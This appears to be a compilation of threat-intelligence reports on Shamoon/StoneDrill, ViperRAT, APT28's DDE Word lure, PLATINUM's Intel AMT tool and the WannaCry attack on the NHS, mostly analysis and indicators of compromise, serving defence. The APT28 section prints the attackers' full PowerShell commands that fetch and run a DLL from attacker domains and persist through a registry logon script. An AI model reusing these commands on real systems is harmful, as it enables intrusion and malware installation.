Of course, one of the most important questions here is the connection between Shamoon and StoneDrill. Both wipers appear to have been used against Saudi organizations during a similar timeframe of October-November 2016. Several theories are possible here: StoneDrill is a less-used wiper tool, deployed in certain situations by the same Shamoon group. StoneDrill and Shamoon are used by different groups which are aligned in their interests. StoneDrill and Shamoon are used by two different groups which have no connection to each other and just happen to target Saudi organizations at the same time. Taking all factors into account, our opinion is that the most likely theory is the second. Additionally, StoneDrill appears to be connected with previously reported NewsBeef activity, which continues to target Saudi organizations. From this point of view, NewsBeef and StoneDrill appear to be continuously focused on targeting Saudi interests, while Shamoon is a flashy, come-and-go high impact tool. In terms of attribution, while Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections. Geopolitical analysts would be quick to point out that Iran and Yemen are both players in the Iran-Saudi Arabia proxy conflict. Of course, we do not exclude the possibility of false flags. Finally, many unanswered question remain in regards to StoneDrill and NewsBeef. The discovery of the StoneDrill wiper in Europe is a significant sign that the group is expanding its destructive attacks outside the Middle East. The target for the attack appears to be a large corporation with a wide area of activity in the petro-chemical sector, with no apparent connection or interest in Saudi Arabia. As usual, we will continue to monitor the Shamoon, StoneDrill and NewsBeef attacks. A presentation about StoneDrill will be given at the Kaspersky Security Analyst Summit Conference, on April 2-6, 2017. Kaspersky Lab products detect the Shamoon and StoneDrill samples as: Trojan.Win32.EraseMBR.a Trojan.Win32.Shamoon.a Trojan.Win64.Shamoon.a Trojan.Win64.Shamoon.b Backdoor.Win32.RemoteConnection.d Trojan.Win32.Inject.wmyv Trojan.Win32.Inject.wmyt HEUR:Trojan.Win32.Generic 4. Appendices 4.1. Indicators of Compromise 4.1.1. Shamoon MD5s 00c417425a73db5a315d23fac8cb353f 271554cff73c3843b9282951f2ea7509 2cd0a5f1e9bcce6807e57ec8477d222a 33a63f09e0962313285c0f0fb654ae11 38f3bed2635857dc385c5d569bbc88ac 41f8cd9ac3fb6b1771177e5770537518 5446f46d89124462ae7aca4fce420423 548f6b23799f9265c01feefc6d86a5d3 63443027d7b30ef0582778f1c11f36f3 6a7bff614a1c2fd2901a5bd1d878be59 6bebb161bc45080200a204f0a1d6fc08 7772ce23c23f28596145656855fd02fc 7946788b175e299415ad9059da03b1b2 7edd88dd4511a7d5bcb91f2ff177d29d 7f399a3362c4a33b5a58e94b8631a3d5 8405aa3d86a22301ae62057d818b6b68 8712cea8b5e3ce0073330fd425d34416 8fbe990c2d493f58a2afa2b746e49c86 940cee0d5985960b4ed265a859a7c169 9d40d04d64f26a30da893b7a30da04eb aae531a922d9cca9ddca3d98be09f9df ac8636b6ad8f946e1d756cd4b1ed866d af053352fe1a02ba8010ec7524670ed9 b4ddab362a20578dc6ca0bc8cc8ab986 baa9862b027abd61b3e19941e40b1b2d c843046e54b755ec63ccb09d0a689674 d30cfa003ebfcd4d7c659a73a8dce11e da3d900f8b090c705e8256e1193a18ec dc79867623b7929fd055d94456be8ba0 ec010868e3e4c47239bf720738e058e3 efab909e4d089b8f5a73e0b363f471c1 4.1.2. StoneDrill MD5s ac3c25534c076623192b9381f926ba0d 0ccc9ec82f1d44c243329014b82d3125 8e67f4c98754a2373a49eaf53425d79a fb21f3cea1aa051ba2a45e75d46b98b8 4.1.3. StoneDrill C2s www.eservic[.]com www.securityupdated[.]com www.actdire[.]com www.chromup[.]com www.chrome-up[.]date service1.chrome-up[.]date service.chrome-up[.]date www.serveirc[.]com ViperRAT: The mobile APT targeting the Israeli Defense Force that should be on your radar blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/ February 16, 2017 By Michael Flossman, Security Researcher ViperRAT is an active, advanced persistent threat (APT) that sophisticated threat actors are actively using to target and spy on the Israeli Defense Force. The threat actors behind the ViperRAT surveillanceware collect a significant amount of sensitive information off of the device, and seem most interested in exfiltrating images and audio content. The attackers are also hijacking the device camera to take pictures. Using data collected from the Lookout global sensor network, the Lookout research team was able to gain unique visibility into the ViperRAT malware, including 11 new, unreported applications. We also discovered and analyzed live, misconfigured malicious command and control servers (C2), from which we were able to identify how the attacker gets new, infected apps to secretly install and the types of activities they are monitoring. In addition, we uncovered the IMEIs of the targeted individuals (IMEIs will not be shared publicly for the privacy and safety of the victims) as well as the types of exfiltrated content. In aggregate, the type of information stolen could let an attacker know where a person is, with whom they are associated (including contacts profile photos), the messages they are sending, the websites they visit and search history, screenshots that reveal data from other apps on the device, the conversations they have in the presence of the device, and a myriad of images including anything at which device s camera is pointed. Lookout has determined ViperRAT is a very sophisticated threat that adds to the mounting evidence that targeted mobile attacks against governments and business is a real problem. Lookout researchers have been tracking this threat for the last month. Given that this is an active threat, we ve been working behind-the-scenes with our customers to ensure both personal and enterprise customers are protected from this threat and only decided to come forward with this information after the research team at Kaspersky released a report earlier today. Additionally, we have determined that though original reports of this story attribute this surveillanceware tool to Hamas, this may not be the case, as we demonstrate below. The increasing sophistication of surveillanceware The structure of the surveillanceware indicates it is very sophisticated. Analysis indicates there are currently two distinct variants of ViperRAT. The first variant is a first stage application, that performs basic profiling of a device, and under certain conditions attempts to download and install a much more comprehensive surveillanceware component, which is the second variant. The first variant involves social engineering the target into downloading a trojanized app. Previous reports alleged this surveillanceware tool was deployed using honey traps where the actor behind it would reach out to targets via fake social media profiles of young women. After building an initial rapport with targets, the actors behind these social media accounts would instruct victims to install an additional app for easier communication. Specifically, Lookout determined these were trojanized versions of the apps SR Chat and YeeCall Pro. We also uncovered ViperRAT in a billiards game, an Israeli Love Songs player, and a Move To iOS app. The second stage The second stage apps contain the surveillanceware capabilities. Lookout uncovered nine secondary payload applications: * These apps have not been previously reported and were discovered using data from the Lookout global sensor network, which collects app and device information from over 100 million sensors to provide researchers and customers with a holistic look at the mobile threat ecosystem today. Naming additional payload applications as system updates is a clever technique used by malware authors to trick victims into believing a threat isn t present on their device. ViperRAT takes this one step further by using its dropper app to identify an appropriate second stage update that may go unnoticed. For example, if a victim has Viber on their device, it will choose to retrieve the Viber Update second stage. If he doesn t have Viber, the generically-named System Updates app gets downloaded and installed instead. What was taken The actors behind ViperRAT seem to be particularly interested in image data. We were able to identify that 8,929 files had been exfiltrated from compromised devices and that the overwhelming majority of these, 97 percent, were highly likely encrypted images taken using the device camera. We also observed automatically generated files on the C2, indicating the actor behind this campaign also issues commands to search for and exfiltrate PDF and Office documents. This should be highly alarming to any government agency or enterprise. We observed legitimate exfiltrated files of the following types of data: Contact information Compressed recorded audio in the Adaptive Multi-Rate (amr) file format Images captured from the device camera Images stored on both internal device and SDCard storage that are listed in the MediaStore Device geolocation information SMS content Chrome browser search history and bookmarks Call log information Cell tower information Device network metadata; such as phone number, device software version, network country, network operator, SIM country, SIM operator, SIM serial, IMSI, voice mail number, phone type, network type, data state, data activity, call state, SIM state, whether device is roaming, and if SMS is supported. Standard browser search history Standard browser bookmarks Device handset metadata; such as brand, display, hardware, manufacturer, product, serial, radio version, and SDK. Command and control API calls ViperRAT samples are capable of communicating to C2 servers through an exposed API as well as websockets. Below is a collection of API methods and a brief description around their purpose. On attribution Media reporting on ViperRAT thus far attributes this surveillanceware tool to Hamas. Israeli media published the first reports about the social networking and social engineering aspects of this campaign. However it s unclear whether organizations that later reported on ViperRAT performed their own independent research or simply based their content on the original Israeli report. Hamas is not widely known for having a sophisticated mobile capability, which makes it unlikely they are directly responsible for ViperRAT. ViperRAT has been operational for quite some time, with what appears to be a test application that surfaced in late 2015. Many of the default strings in this application are in Arabic, including the name. It is unclear whether this means early samples were targeting Arabic speakers or if the developers behind it are fluent in Arabic. This leads us to believe this is another actor. What this means for you All Lookout customers are protected from this threat. However, the existence of threats like ViperRAT and Pegasus, the most sophisticated piece of mobile surveillanceware we ve seen to date, are evidence that attackers are targeting mobile devices. Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/ By Ryan Sherstobitoff and Michael Rea November 7, 2017 During our monitoring of activities around the APT28 threat group, McAfee Advanced Threat Research analysts identified a malicious Word document that appears to leverage the Microsoft Office Dynamic Data Exchange (DDE) technique that has been previously reported by Advanced Threat Research. This document likely marks the first observed use of this technique by APT28. The use of DDE with PowerShell allows an attacker to execute arbitrary code on a victim s system regardless whether macros are enabled. (McAfee product detection is covered in the Indicators of Compromise section at the end of the document.) APT28, also known as Fancy Bear, has recently focused on using different themes. In this case it capitalized on the recent terrorist attack in New York City. The document itself is blank. Once opened, the document contacts a control server to drop the first stage of the malware, Seduploader, onto a victim system. The domain involved in the distribution of Seduploader was created on October 19, 11 days prior to the creation of Seduploader. The document we examined for this post: Filename: IsisAttackInNewYork.docx Sha1: 1c6c700ceebfbe799e115582665105caa03c5c9e Creation date: 2017-10-27T22:23:00Z The document uses the recently detailed DDE technique found in Office products to invoke the command prompt to invoke PowerShell, which runs two commands. The first: C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( hxxp://netmediaresources[.]com/config.txt );powershell -enc $e #.EXE The second PowerShell command is Base64 encoded and is found in the version of config.txt received from the remote server. It decodes as follows: $W=New-Object System.Net.WebClient; $p=($Env:ALLUSERSPROFILE+ \vms.dll [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $W.DownloadFile( hxxp://netmediaresources[.]com/media/resource/vms.dll ,$p); if (Test-Path $p){ $rd_p=$Env:SYSTEMROOT+ \System32\rundll32.exe $p_a=$p+ $pr=Start-Process $rd_p -ArgumentList $p_a; $p_bat=($Env:ALLUSERSPROFILE+ \vms.bat $text= set inst_pck = %ALLUSERSPROFILE%\vms.dll `r`n if NOT exist %inst_pck % (exit) `r`n start rundll32.exe %inst_pck %,#1 [io.File]::WriteAllText($p_bat,$text) New-Item -Path HKCU:\Environment -Force | Out-Null; New-ItemProperty -Path HKCU:\Environment -Name UserInitMprLogonScript -Value $p_bat PropertyType String -Force | Out-Null; The PowerShell scripts contact the following URL to download Seduploader: hxxp://netmediaresources[.]com/media/resource/vms.dll The Seduploader sample has the following artifacts: Filename: vms.dll Sha1: 4bc722a9b0492a50bd86a1341f02c74c0d773db7 Compile date: 2017-10-31 20:11:10 Control server: webviewres[.]net The document downloads a version of the Seduploader first-stage reconnaissance implant, which profiles prospective victims, pulling basic host information from the infected system to the attackers. If the system is of interest, then the installation of X-Agent or Sedreco usually follows. We have observed APT28 using Seduploader as a first-stage payload for several years from various public reporting. Based on structural code analysis of recent payloads observed in the campaign, we see they are identical to previous Seduploader samples employed by APT28. We identified the control server domain associated with this activity as webviewres[.]net, which is consistent with past APT28 domain registration techniques that spoof legitimate-sounding infrastructure. This domain was registered on October 25, a few days before the payload and malicious documents were created. The domain was first active on October 29, just days before this version of Seduploader was compiled. The IP currently resolves to 185.216.35.26 and is hosted on the name servers ns1.njal.la and ns2.njal.la. Further McAfee research identified the following related sample: Filename: secnt.dll Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e Compile date: 2017-10-30 23:53:02 Control server: satellitedeluxpanorama[.]com. (This domain uses the same name servers as above.) The preceding sample most likely belongs to the same campaign. Based on our analysis it uses the same techniques and payload. We can clearly establish that the campaign involving documents using DDE techniques began on October 25. The domain satellitedeluxpanorama[.]com, used by the implant secnt.dll, resolved to 89.34.111.160 as of November 5. The malicious document 68c2809560c7623d2307d8797691abf3eafe319a is responsible for dropping the Seduploader payload (secnt.dll). Its original file name was SaberGuardian2017.docx. This document was created on October 27. The document is distributed from hxxp://sendmevideo[.]org/SaberGuardian2017.docx. The document calls sendmevideo[.]org/dh2025e/eh.dll to download Seduploader (ab354807e687993fbeb1b325eb6e4ab38d428a1e). The PowerShell command embedded in this document: $W=New-Object System.Net.WebClient; $p=($Env:ALLUSERSPROFILE+ \mvdrt.dll [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $W.DownloadFile( http://sendmevideo.org/dh2025e/eh.dll ,$p); if (Test-Path $p){ $rd_p=$Env:SYSTEMROOT+ \System32\rundll32.exe $p_a=$p+ $pr=Start-Process $rd_p -ArgumentList $p_a; $p_bat=($Env:ALLUSERSPROFILE+ \mvdrt.bat $text= set inst_pck = %ALLUSERSPROFILE%\mvdrt.dll `r`n if NOT exist %inst_pck % (exit) `r`n start rundll32.exe %inst_pck %,#1 [io.File]::WriteAllText($p_bat,$text) New-Item -Path HKCU:\Environment -Force | Out-Null; New-ItemProperty -Path HKCU:\Environment -Name UserInitMprLogonScript -Value $p_bat PropertyType String -Force | Out-Null; The file vms.dll, 4bc722a9b0492a50bd86a1341f02c74c0d773db7, is 99% similar-to secnt.dll ab354807e687993fbeb1b325eb6e4ab38d428a1e, indicating the code is almost identical and highly likely to be part of the same campaign. These two DLL implants are likely part of the same campaign. Furthermore, the sample 4bc722a9b0492a50bd86a1341f02c74c0d773db7, based on our code analysis, is 99% similar to the DLL implant 8a68f26d01372114f660e32ac4c9117e5d0577f1, which was used in a campaign spoofing the upcoming cyber conference Cy Con U.S. The attack techniques in the two campaigns differ: The campaign spoofing the Cy Con U.S conference used document files to execute a malicious VBA script; this campaign using the terrorist theme uses DDE within a document file to execute PowerShell and fetches a remote payload from a distribution site. The payloads, however, are identical for both campaigns. Conclusion APT28 is a resourceful threat actor that not only capitalizes on recent events to trick potential victims into infections, but can also rapidly incorporate new exploitation techniques to increase its success. Given the publicity the Cy Con U.S campaign received in the press, it is possible APT28 actors moved away from using the VBA script employed in past actions and chose to incorporate the DDE technique to bypass network defenses. Finally, the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28 s ability and interest in exploiting geopolitical events for their operations. Indicators of Compromise SHA1 Hashes ab354807e687993fbeb1b325eb6e4ab38d428a1e (vms.dll, Seduploader implant) 4bc722a9b0492a50bd86a1341f02c74c0d773db7 (secnt.dll, Seduploader implant) 1c6c700ceebfbe799e115582665105caa03c5c9e (IsisAttackInNewYork.docx) 68c2809560c7623d2307d8797691abf3eafe319a (SaberGuardian.docx) Domains webviewres[.]net netmediaresources[.]com 185.216.35.26 89.34.111.160 McAfee coverage McAfee products detect this threat as RDN/Generic Downloader.x. PLATINUM continues to evolve, find ways to maintain invisibility blogs.technet.microsoft.com /mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/ msft-mmpc June 7, 2017 Back in April 2016, we released the paper PLATINUM: Targeted attacks in South and Southeast Asia , where we detailed the tactics, techniques, and procedures of the PLATINUM activity group. We described a group that was well-resourced and quickly adopted advanced techniques, such as hot patching to silently inject code into processes. They used hot patching even when traditional injection techniques could have been sufficient and less costly to develop. Since the 2016 publication, Microsoft has come across an evolution of PLATINUM s file-transfer tool, one that uses the Intel Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication. This channel works independently of the operating system (OS), rendering any communication over it invisible to firewall and network monitoring applications running on the host device. Until this incident, no malware had been discovered misusing the AMT SOL feature for communication. Upon discovery of this unique file-transfer tool, Microsoft shared information with Intel, and the two companies collaborated to analyze and better understand the purpose and implementation of the tool. We confirmed that the tool did not expose vulnerabilities in the management technology itself, but rather misused AMT SOL within target networks that have already been compromised to keep communication stealthy and evade security applications. The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast Asia PLATINUM is known to customize tools based on the network architecture of targeted organizations. The diagram below represents the file-transfer tool s updated channel and network flow. Figure 1. PLATINUM file-transfer tool network flow The AMT SOL feature is not enabled by default and requires administrator privileges to provision for usage on workstations. It is currently unknown if PLATINUM was able to provision workstations to use the feature or piggyback on a previously enabled workstation management feature. In either case, PLATINUM would need to have gained administrative privileges on targeted systems prior to the feature s misuse. AMT Serial-over-LAN (SOL) communication channel Active Management Technology (AMT) enables remote management of devices and is provided as a feature of Intel vPro processors and chipsets. AMT runs in the Intel Management Engine (ME), which runs its own operating system to execute on an embedded processor located in the chipset (Platform Controller Hub, PCH). As this embedded processor is separate from the primary Intel processor, it can execute even when the main processor is powered off and is therefore able to provide out-of-band (OOB) remote administration capabilities such as remote power-cycling and keyboard, video, and mouse control (KVM). AMT has a Serial-over-LAN (SOL) feature that exposes a virtual serial device with a chipset-provided channel over TCP. Figure 2. AMT SOL device This functionality works independently of the device host operating system networking stack the ME makes use of its own networking stack and has access to the hardware network interface. This means that even if networking is disabled on the host, SOL will still function as long as the device is physically connected to the network. Figure 3. AMT SOL component stack Furthermore, as the SOL traffic bypasses the host networking stack, it cannot be blocked by firewall applications running on the host device. To enable SOL functionality, the device AMT must be provisioned. Also, establishment of a SOL session requires a username and password usually selected during device provisioning. The tool would therefore require the relevant credentials to establish such a session. One possibility is that PLATINUM might have obtained compromised credentials from victim networks. Another possibility is that the targeted systems did not have AMT provisioned and PLATINUM, once they ve obtained administrative privileges on the system, proceeded to provision AMT. There are several methods for provisioning AMT. The most straightforward is host-based provisioning (HBP), which can be done from within the host Windows OS itself and requires administrator permissions. During the provisioning process, PLATINUM could select whichever username and password they wish. HBP enables access to a subset of AMT functionality, which includes SOL but restricts access to other features such as KVM redirect. How PLATINUM uses SOL In the first version of the file-transfer tool, which we described in the original paper, network communication is done over TCP/IP by utilizing the regular network APIs. The presentation layer protocol is straightforward: the buffer is made up of a two-byte header the indication length and the Blowfish-encrypted payload data itself. Figure 4. TCP protocol length header and payload The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK s Redirection Library API (imrsdk.dll). Data transactions are performed by the calls IMR_SOLSendText()/IMR_SOLReceiveText(), which are analogous to networking send() and recv() calls. The SOL protocol used is identical to the TCP protocol other than the addition of a variable-length header on the data for error detection. Also, the updated client sends an unencrypted packet with the content before authentication. Figure 5. AMT SOL protocol error-detection header, length header, and payload The new header has various fields to detect possible data corruption errors, including a CRC-16 and a binary index of the bytes having the set of most significant bits (MSB). Figure 6. Construction of error-detection header The following video demonstrates how the PLATINUM tool can be used to transfer malware to a computer with AMT provisioned: Detecting unusual binaries that use AMT If an attacker who has access to AMT credentials attempts to use the SOL communication channel on a computer running Windows Defender ATP , behavior analytics coupled with machine learning can detect the targeted attack activity. Windows Defender ATP displays an alert similar to the one shown below. Windows Defender ATP can differentiate between legitimate usage of AMT SOL and targeted attacks attempting to use it as a communication channel. Figure 7. Windows Defender ATP detection of malicious AMT SOL channel activity The PLATINUM tool is, to our knowledge, the first malware sample observed to misuse chipset features in this way. While the technique used here by PLATINUM is OS independent, Windows Defender ATP can detect and notify network administrators of attempts to leverage the AMT SOL communication channel for unauthorized activity, specifically when used against a computer running Windows. At Microsoft, we continuously monitor the threat landscape for novel techniques used for malicious purposes. We also constantly build mechanisms that mitigate resulting risks and protect customers. The discovery of this new PLATINUM technique and the development of detection capabilities highlight the work the Windows Defender ATP team does to provide customers greater visibility into suspicious activities transpiring on their networks. Microsoft reiterates that the PLATINUM tool does not expose flaws in Intel Active Management Technology (AMT), but uses the technology within an already compromised network to evade security monitoring tools. David Kaplan, Stefan Sellmer, and Andrea Lelli Windows Defender ATP Research Team A picture of the National Audit Office logo Report by the Comptroller and Auditor General Department of Health Investigation: WannaCry cyber attack and the NHS HC 414 SESSION 2017 2019 27 OCTOBER 2017 Our vision is to help the nation spend wisely. Our public audit perspective helps Parliament hold government to account and improve public services. The National Audit Office scrutinises public spending for Parliament and is independent of government. The Comptroller and Auditor General (C&AG), Sir Amyas Morse KCB, is an Officer of the House of Commons and leads the NAO. The C&AG certifies the accounts of all government departments and many other public sector bodies. He has statutory authority to examine and report to Parliament on whether departments and the bodies they fund have used their resources efficiently, effectively, and with economy. Our studies evaluate the value for money of public spending, nationally and locally. Our recommendations and reports on good practice help government improve public services, and our work led to audited savings of 734 million in 2016. Department of Health Investigation: WannaCry cyber attack and the NHS Report by the Comptroller and Auditor General Ordered by the House of Commons to be printed on 25 October 2017 This report has been prepared under Section 6 of the National Audit Act 1983 for presentation to the House of Commons in accordance with Section 9 of the Act Sir Amyas Morse KCB Comptroller and Auditor General National Audit Office 24 October 2017 HC 414 | 10.00 This report investigates the NHS s response to the cyber attack that affected it in May 2017 and the impact on health services. Investigations We conduct investigations to establish the underlying facts in circumstances where concerns have been raised with us, or in response to intelligence that we have gathered through our wider work. National Audit Office 2017 The material featured in this document is subject to National Audit Office (NAO) copyright. The material may be copied or reproduced for non-commercial purposes only, namely reproduction for research, private study or for limited internal circulation within an organisation for the purpose of review. Copying for non-commercial purposes is subject to the material being accompanied by a sufficient acknowledgement, reproduced accurately, and not being used in a misleading context. To reproduce NAO copyright material for any other use, you must contact copyright@nao.gsi.gov.uk. Please tell us who you are, the organisation you represent (if any) and how and why you wish to use our material. Please include your full contact details: name, address, telephone number and email. Please note that the material featured in this document may not be reproduced for commercial gain without the NAO s express and direct permission and that the NAO reserves its right to pursue copyright infringement proceedings against individuals or companies who reproduce material for commercial gain without our permission. Links to external websites were valid at the time of publication of this report. The National Audit Office is not responsible for the future validity of the links. 11594 10/17 Contents What this investigation is about 4 Summary 5 Part One The impact of the cyber attack 11 Part Two Why some parts of the NHS were affected 16 Part Three How the Department and the NHS responded 21 Appendix One Our investigative approach 28 Appendix Two Trusts infected or disrupted by WannaCry 30 The National Audit Office study team consisted of: Finnian Bamber, Alex Bowyer, Nigel Leung, Francisca Lopes, Linda Mills and David Williams, under the direction of Robert White. This report can be found on the National Audit Office website at www.nao.org.uk For further information about the National Audit Office please contact: National Audit Office Press Office 197 Buckingham Palace Road Victoria London SW1W 9SP Tel: 020 7798 7400 Enquiries: www.nao.org.uk/contact-us Website: www.nao.org.uk Twitter: @NAOorguk If you are reading this document using a screen reader you may wish to use the bookmarks to navigate around this document. 4 What this investigation is about Investigation: WannaCry cyber attack and the NHS What this investigation is about On Friday 12 May 2017 a global ransomware attack, known as WannaCry, affected more than 200,000 computers in at least 100 countries. In the UK, the attack particularly affected the NHS, although it was not the specific target. At 4 pm on 12 May, NHS England declared the cyber attack a major incident and implemented its emergency arrangements to maintain health and patient care. On the evening of 12 May a cyber security researcher activated a kill-switch so that WannaCry stopped locking devices. According to NHS England, the WannaCry ransomware affected at least 81 out of the 236 trusts across England, because they were either infected by the ransomware or turned off their devices or systems as a precaution. A further 603 primary care and other NHS organisations were also infected, including 595 GP practices. Before the WannaCry attack the Department of Health (the Department) and its s-length bodies had work under way to strengthen cyber-security in the NHS. For example, NHS Digital was broadcasting alerts about cyber threats, providing a hotline for dealing with incidents, sharing best practice and carrying out on-site assessments to help protect against future cyber attacks; and NHS England had embedded the 10 Data Security Standards (recommended by the National Data Guardian) in the standard NHS contract for 2017-18 and was providing training to its Board and local teams to raise awareness of cyber threats. In light of the WannaCry attack, the Department announced further plans to strengthen NHS organisations cyber-security. Our investigation focuses on events immediately before 12 May 2017 and up until 30 September 2017. We only cover the effect the WannaCry attack had on the NHS in England. We do not cover how the WannaCry attack affected other countries or organisations outside the NHS. A cyber attack on either the health or social care sectors could cause disruption across the whole health and social care sector. For example, the Care Quality Commission (CQC) told us that, as some trusts were unable to communicate with social services, there could have been delays in the discharge of patients from hospital to social care, although the CQC relayed advice from NHS Digital and NHS England to social care providers to help manage any disruption. This investigation sets out the facts about: the ransomware attack s impact on the NHS and its patients; why some parts of the NHS were affected; and how the Department and NHS national bodies responded to the attack. Investigation: WannaCry cyber attack and the NHS Summary 5 Summary The WannaCry attack affected NHS services in the week from 12 May to 19 May 2017. The Department of Health (the Department) and NHS England worked with NHS Digital, NHS Improvement, the National Cyber Security Centre, the National Crime Agency and others to respond to the attack. Key findings The risk of a cyber attack affecting the NHS WannaCry was the largest cyber attack to affect the NHS, although individual trusts had been attacked before 12 May 2017. For example, two of the trusts infected by WannaCry had been infected by previous cyber attacks. One of England s biggest trusts, Barts Health NHS Trust, had been infected before, and Northern Lincolnshire and Goole NHS Foundation Trust had been subject to a ransomware attack in October 2016, leading to the cancellation of 2,800 appointments (paragraph 3.7 and Figure 5). The Department was warned about the risks of cyber attacks on the NHS a year before WannaCry and although it had work under way it did not formally respond with a written report until July 2017. The Secretary of State for Health asked the National Data Guardian and the Care Quality Commission (CQC) to undertake reviews of data security. These reports were published in July 2016 and warned the Department that cyber attacks could lead to patient information being lost or compromised and jeopardise access to critical patient record systems. They recommended that all health and care organisations needed to provide evidence that they were taking action to improve cyber-security, including moving off old operating systems. Although the Department and its arm s-length bodies had work under way to improve cyber-security in the NHS, the Department did not publish its formal response to the recommendations until July 2017 (paragraphs 3.6 and 3.11). 6 Summary Investigation: WannaCry cyber attack and the NHS The Department and its arm s-length bodies did not know whether local NHS organisations were prepared for a cyber attack. Local healthcare organisations such as trusts and clinical commissioning groups are responsible for keeping the information they hold secure, and for having arrangements in place to respond to an incident or emergency, including a cyber attack. Local healthcare bodies are overseen by the Department and its arm s-length bodies. The Department and Cabinet Office wrote to trusts in 2014, saying it was essential they had robust plans to migrate away from old software, such as Windows XP, by April 2015. In March and April 2017, NHS Digital had issued critical alerts warning organisations to patch their systems to prevent WannaCry. However, before 12 May 2017, the Department had no formal mechanism for assessing whether NHS organisations had complied with its advice and guidance. Prior to the attack, NHS Digital had conducted an on-site cyber-security assessment for 88 out of 236 trusts, and none had passed. However, NHS Digital cannot mandate a local body to take remedial action even if it has concerns about the vulnerability of an organisation (paragraphs 2.5, 2.7, 2.10 to 2.12 and 3.2, and Figure 4). How the WannaCry attack affected the NHS The attack led to disruption in at least 34% of trusts in England although the Department and NHS England do not know the full extent of the disruption (Figure 1). On 12 May, NHS England initially identified 45 NHS organisations including 37 trusts that had been infected by the WannaCry ransomware. Over the following days, more organisations reported they had been affected. In total, at least 81 out of 236 trusts across England were affected. The trusts included: 37 infected and locked out of devices (of which, 27 were acute trusts); and 44 not infected but reporting disruption. For example, these trusts shut down their email and other systems as a precaution and on their own initiative, as they had not received central advice early enough on 12 May to inform their decisions on what to do. This meant, for example, that they had to use pen and paper for activities usually performed electronically. NHS England and NHS Digital identified a further 21 trusts that were attempting to contact the WannaCry domain, but were not locked out of their devices. There are two possible reasons for this. Trusts may have become infected after the kill-switch had been activated, and were therefore not locked out of their devices. Alternatively, they may have contacted the WannaCry domain as part of their cyber-security activity. A further 603 primary care and other NHS organisations were infected by WannaCry, including 595 GP practices. However, the Department does not know how many NHS organisations could not access records or receive information, because they shared data or systems with an infected trust. NHS Digital told us that it believes no patient data were compromised or stolen (paragraphs 1.2 to 1.5 and 1.9, and Figure 1). Trusts not infected but reporting disruption Patient appointments cancelled GP practices and other organisations not infected but reporting disruption GP practices infected and locked out of devices Some of the trusts identified as not infected but reporting disruption did have a small number of devices infected. However, they did not report themselves to NHS England as infected, and NHS England did not recategorise them as being infected after the WannaCry attack was over. Some trusts, GP practices and other organisations were identified as having systems that attempted to contact the WannaCry domain, but were not locked out of their devices. There are two possible explanations for this: they could have become infected after the kill-switch had been activated. Or, they could have avoided infection but contacted the WannaCry domain as part of their cyber-security activity. NHS England does not know which organisations fall into each category. Source: National Audit Office analysis of NHS England data The numbers shown are based on organisations self-reporting problems to national bodies, and NHS England and NHS Digital s analysis of internet activity, and may be higher if some organisations did not report the problems they experienced in a timely or accurate way. Notes Other organisations include clinical commissioning groups, commissioning support units, an NHS 111 provider, and non-NHS bodies that provide NHS care, such as a hospice, social enterprise and community interest companies. Number of patients diverted from accident and emergency departments at infected trusts to other organisations, includes patients conveyed in an ambulance Number of trusts or GPs that were delayed in receiving information, such as test results, from infected trusts GP practices and other organisations where systems were attempting to contact WannaCry domain, but not locked out of devices Other organisations infected and locked out of devices Primary care and other NHS organisations Number of NHS organisations unable to access records because they shared data or systems with an infected trust Unknown disruption Trusts where systems were attempting to contact WannaCry domain, but not locked out of devices Hospital care Patient appointments cancelled Estimated 19,494 Including cancelled patient operations (Including 27 acute trusts) Trusts infected and locked out of devices Known disruption The NHS experienced a wide range of disruption as a consequence of the WannaCry cyber attack Figure 1 The impact of WannaCry on the NHS Figure 1 shows that the NHS experienced a wide range of disruption as a consequence of the WannaCry cyber attack Investigation: WannaCry cyber attack and the NHS Summary 7 8 Summary Investigation: WannaCry cyber attack and the NHS Thousands of appointments and operations were cancelled and in five areas patients had to travel further to accident and emergency departments. Between 12 May and 18 May, NHS England collected some information on cancelled appointments, to help it manage the incident, but this did not include all types of appointment. NHS England identified 6,912 appointments had been cancelled, and estimated more than 19,000 appointments would have been cancelled in total, based on the normal rate of follow up appointments to first appointments. NHS England told us it does not plan to identify the actual number because it is focusing its efforts on responding appropriately to the lessons learned from WannaCry. As data were not collected during the incident, neither the Department nor NHS England know how many GP appointments were cancelled, or how many ambulances and patients were diverted from the five accident and emergency departments that were unable to treat some patients (paragraphs 1.7, 1.8 and 1.10, and Figure 1). The Department, NHS England and the National Crime Agency told us that no NHS organisation paid the ransom, but the Department does not know how much the disruption to services cost the NHS. The Department, NHS England and the National Crime Agency told us no NHS organisation paid the ransom. NHS Digital told us it advised the trusts it spoke to not to pay the ransom, and wrote to all trusts on 14 May advising against the payment of ransoms. The Department does not know the cost of the disruption to services. Costs include: cancelled appointments; additional IT support provided by local NHS bodies, or IT consultants; or the cost of restoring data and systems affected by the attack. National and local NHS staff worked overtime including over the weekend of 13-14 May to resolve problems and to prevent a fresh wave of organisations being affected by WannaCry on Monday 15 May (paragraphs 1.11 and 1.12). The cyber attack could have caused more disruption if it had not been stopped by a cyber researcher activating a kill-switch . On the evening of 12 May a cyber-security researcher activated a kill-switch so that WannaCry stopped locking devices. This meant that some NHS organisations had been infected by the WannaCry ransomware, but because of the researcher s actions, they were not locked out of their devices and systems. Between 15 May and mid-September NHS Digital and NHS England identified a further 92 organisations, including 21 trusts, as contacting the WannaCry domain, although some of these may have been contacting the domain as part of their cyber-security activity. Of the 37 trusts infected and locked out of devices, 32 were located in the North NHS region and the Midlands and East NHS region. NHS England believes more organisations were infected in these regions because they were hit early on 12 May before the WannaCry kill-switch was activated (paragraphs 1.14 and 2.2, and 